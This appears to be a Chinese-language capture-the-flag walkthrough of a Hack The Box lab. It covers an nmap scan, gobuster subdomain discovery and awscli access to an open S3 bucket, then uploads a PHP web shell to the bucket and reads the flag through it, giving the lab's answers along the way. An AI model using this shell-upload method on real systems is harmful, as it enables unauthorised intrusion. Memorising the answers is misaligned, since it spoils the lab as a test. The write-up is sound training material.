靶机地址10.129.110.15
端口扫描
输入: Nmap -sC -sV 10.129.110.15
-sC 使用默认脚本扫描
-sV 探测服务/版本信息
通过扫描发现22和80端口开放
答案: 2
答案: thetoppers.htb
通过浏览网页即可收集到该信息
答案: /etc/hosts
修改hosts文件,将域名与IP对应
子域名扫描
答案: s3.thetoppers.htb
使用gobuster对目标进行子域名扫描
gobuster vhost -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
将s3.thetoppers.htb加入hosts文件
再次访问页面
Amazon S3
答案: Amazon S3
Amazon Simple Storage Service (Amazon S3) 是由 Amazon Web Services (AWS) 提供的公共云服务。Amazon S3 通过简单的 Web 服务接口提供对象存储。它被广泛用于存储照片,视频,文本文件,文档,PDF文件,并存储大量数据的备份。
我们可以使用awscli工具对该服务进行交互
答案: awscli
安装awscli: apt-get install awscli
答案: aws configure
使用tldr aws查看该工具的用法
答案: aws s3 ls
使用tldr aws s3查看该工具的用法
答案: php
输入: aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb 查看当前目录下的文件, 发现一个index.php
上传shell
我们可以使用aws s3 cp/mv test-file.txt s3://bucket-name命令对目标上传shell
输入: aws s3 --endpoint=http://s3.thetoppers.htb cp shell.php s3://thetoppers.htb 上传shell
aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb 查看shell是否上传成功
访问页面进行操作
ls 查看当前目录下的文件
ls ../查看上级目录下的文件
cat ../flag.txt 查看flag.txt
答案: a980d99281a28d638ac68b9bf9453c2b